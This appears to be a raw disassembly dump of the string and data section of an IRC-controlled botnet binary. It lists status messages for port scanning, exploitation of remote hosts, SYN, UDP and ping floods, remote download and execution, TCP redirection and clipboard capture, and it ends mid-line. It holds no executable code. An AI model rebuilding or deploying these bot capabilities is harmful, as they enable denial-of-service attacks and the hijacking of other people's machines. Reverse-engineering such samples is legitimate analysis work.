seg000:0040DF2Fo dd 2029206Ch, 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 10h dword_42A490 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040DEF1o dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah dd 2Eh dword_42A4BC dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:0040DEC6o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_42A508 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:0040DE55o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h dd 61657268h, 2E7364h dword_42A538 dd 627573h dword_42A53C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040DDDDo dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch dd 2Eh dword_42A568 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: seg000:0040DDC2o dd 2029206Ch, 2BBBB02h aFailedToStar_5 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42A5B4 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: seg000:0040DD35o dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h dd 2E67h dword_42A5E0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040DCAEo dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh dd 2E6F66h dword_42A60C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040DC7Fo dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h dd 2E6Fh dword_42A638 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040DC2Ao dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh dd 2E746Fh dword_42A664 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:0040DC0Eo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStar_6 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42A6B4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:0040DB99o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh dd 6C207373h, 2E747369h, 0 aFull db 'full',0 ; DATA XREF: seg000:0040DB79o align 10h dword_42A6F0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:0040DB17o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyRunning db ' Already running.',0 align 4 dword_42A724 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040DAC6o dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah dd 2Eh dword_42A750 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040DA37o dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h dd 2E647261h, 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: seg000:0040DA09o align 4 unk_42A794 db 2 ; DATA XREF: seg000:loc_40D9E5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 4 unk_42A7D4 db 2 ; DATA XREF: seg000:0040D9DEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 4 unk_42A80C db 2 ; DATA XREF: seg000:loc_40D9CEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 4 unk_42A84C db 2 ; DATA XREF: seg000:loc_40D9C7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 4 unk_42A88C db 2 ; DATA XREF: seg000:0040D9C0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 4 unk_42A8C4 db 2 ; DATA XREF: seg000:0040D945o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 unk_42A910 db 2 ; DATA XREF: seg000:0040D7D3o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_8 db 'Failed to start server thread, error: <%d>.',0 unk_42A95C db 2 ; DATA XREF: seg000:0040D6A3o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_0 db 'Already running.',0 align 10h dword_42A990 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:loc_40D679o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStar_9 db ' Failed to start scan, port is invalid.',0 align 4 dword_42A9DC dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:0040D5BAo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 dword_42AA58 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040D372o dd 2029206Ch, 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 10h dword_42AA90 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040D359o dd 2029206Ch, 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_42AAC4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040D33Co dd 2029206Ch, 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_42AAF8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040D326o dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h dd 2E73h dword_42AB24 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:loc_40D2A8o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 4 dword_42AB64 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:0040D2A1o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 4 dword_42AB9C dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:loc_40D25Bo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_42ABD8 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:0040D251o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: seg000:0040D237o aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:0040D1ACo ; seg000:loc_40DF8Do align 4 dword_42AC28 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040D139o dd 2029206Ch, 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_42AC60 db 2 ; DATA XREF: seg000:loc_40D124o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0 align 4 unk_42AC98 db 2 ; DATA XREF: seg000:0040D11Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFileOpenedS db 'File opened: %s',0 dword_42ACC8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040D0F1o dd 2029206Ch, 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 10h dword_42AD00 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: seg000:loc_40D0A2o dd 2029206Ch, 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_42AD3C dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: seg000:0040D077o dd 2029206Ch, 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 dword_42AD6C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:loc_40D043o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTermin db ' Failed to terminate process: %s',0 align 10h dword_42ADB0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:0040D039o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledS db ' Process killed: %s',0 align 4 dword_42ADE8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:loc_40CFE3o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 align 10h dword_42AE30 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:0040CFDCo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledI db ' Process killed ID: %s',0 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h dd 2E277325h, 0 dword_42AE98 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: seg000:0040CF85o dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h dword_42AEC0 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh ; DATA XREF: seg000:loc_40CF6Ao dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh dd 2E746E65h, 0 unk_42AEF0 db 2 ; DATA XREF: seg000:0040CF60o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Dh ; m db 69h, 72h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_42AF20 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040CF20o dd 2029206Ch, 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_42AF54 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040CF0Co dd 2029206Ch, 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 aR: ; DATA XREF: seg000:loc_40CEA5o unicode 0, <r>,0 dword_42AF90 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040CE87o dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h dd 2E73h dword_42AFBC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040CE4Co dd 2029206Ch, 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 10h dword_42B000 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040CE30o dd 2029206Ch, 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 dword_42B038 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040CDAEo dd 2029206Ch, 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_42B068 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040CD70o dd 2029206Ch, 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 dword_42B098 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040CD1Ao dd 2029206Ch, 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 4 dword_42B0C8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040CCAFo dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0 dword_42B0F0 dd 54524150h, 0D732520h, 0Ah ; seg000:0040D32Eo dword_42B0FC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040CC4Eo dd 2029206Ch, 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040CC40o align 4 dword_42B138 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: seg000:0040CC17o dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h dd 7325203Ah, 0 dword_42B168 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: seg000:0040CBACo dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h dd 25203A29h, 73h dword_42B198 dd 45444F4Dh, 732520hdword_42B1A0 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h ; DATA XREF: seg000:0040CB25o dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h dd 25203A29h, 73h dword_42B1D0 dd 4B43494Eh, 732520h ; seg000:0040D178o dword_42B1D8 dd 4E494F4Ah, 20732520h, 7325hdword_42B1E4 dd 54524150h, 732520hdword_42B1EC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:loc_40CA36o dd 2029206Ch, 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 4 dword_42B234 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0040C9FFo dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah dd 0 aRepeat db 'repeat',0 ; DATA XREF: seg000:0040C9AEo align 4 dword_42B268 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:loc_40C966o dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_42B290 dd 25207325h, 73252073h, 73253A20h, 0 ; seg000:0040C9D9o ... unk_42B2A0 db 2 ; DATA XREF: seg000:0040C8A9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_42B2F8 db 2 ; DATA XREF: seg000:0040C88Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_42B348 db 2 ; DATA XREF: seg000:0040C822o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 75h ; u db 70h, 64h, 61h db 74h ; t db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: seg000:0040C77Co align 4 dword_42B394 dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh ; DATA XREF: seg000:0040C71Do dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh dd 732520h unk_42B3C0 db 2 ; DATA XREF: seg000:0040C712o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 65h ; e db 78h, 65h, 63h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 dword_42B3F8 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: seg000:loc_40C63Do dd 29206C1Fh, 0BBBB0220h, 2002h unk_42B418 db 2 ; DATA XREF: seg000:0040C628o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42B450 db 2 ; DATA XREF: seg000:loc_40C606o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 4 unk_42B49C db 2 ; DATA XREF: seg000:0040C5FCo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_42B4E8 db 2 ; DATA XREF: seg000:0040C582o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 69h ; i db 63h, 6Dh, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 4 unk_42B528 db 2 ; DATA XREF: seg000:0040C50Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_10 db ' Failed to start clone thread, error: <%d>.',0 unk_42B574 db 2 ; DATA XREF: seg000:0040C49Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 6Ch, 6Fh, 6Eh db 65h ; e db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_42B5B8 db 2 ; DATA XREF: seg000:0040C414o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_11 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_42B604 db 2 ; DATA XREF: seg000:0040C39Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 4 dword_42B648 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: seg000:0040C307o dd 2029206Ch, 2BBBB02h aFailedToSta_12 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_42B694 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: seg000:0040C28Do dd 2029206Ch, 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_42B6D4 db 2 ; DATA XREF: seg000:0040C21Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_42B728 db 2 ; DATA XREF: seg000:0040C1AEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 unk_42B768 db 2 ; DATA XREF: seg000:0040C0DCo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_13 db ' Failed to start redirection thread, error: <%d>.',0 unk_42B7BC db 2 ; DATA XREF: seg000:0040C06Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 align 4 unk_42B80C db 2 ; DATA XREF: seg000:0040BFE2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start scan thread, error: <%d>.',0 align 4 unk_42B85C db 2 ; DATA XREF: seg000:0040BF73o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: seg000:0040BEEFo align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: seg000:0040BDF5o align 4 dword_42B8CC dd 54434101h, 204E4F49h, 17325h ; seg000:0040CCFBo dword_42B8D8 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:0040BD08o ; seg000:0040D62Bo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_15 db ' Failed to start scan thread, error: <%d>.',0 dword_42B924 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:0040BC99o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: seg000:0040BC6Eo ; seg000:0040D58Fo align 4 aRandom_0 db 'Random',0 ; DATA XREF: seg000:0040BC67o ; seg000:0040D588o align 10h dword_42B9B0 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:0040BB26o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_16 db ' Failed to start scan, no IP specified.',0 align 4 dword_42B9FC dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:0040B9DFo ; seg000:0040D3D3o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 align 10h dword_42BA50 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: seg000:0040B9AEo dd 2029206Ch, 2BBBB02h aFailedToSta_17 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_42BA9C dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: seg000:0040B93Fo dd 2029206Ch, 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: seg000:0040B875o align 10h unk_42BB10 db 2 ; DATA XREF: seg000:0040B860o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_42BB5C db 2 ; DATA XREF: seg000:0040B7F5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_42BBB8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 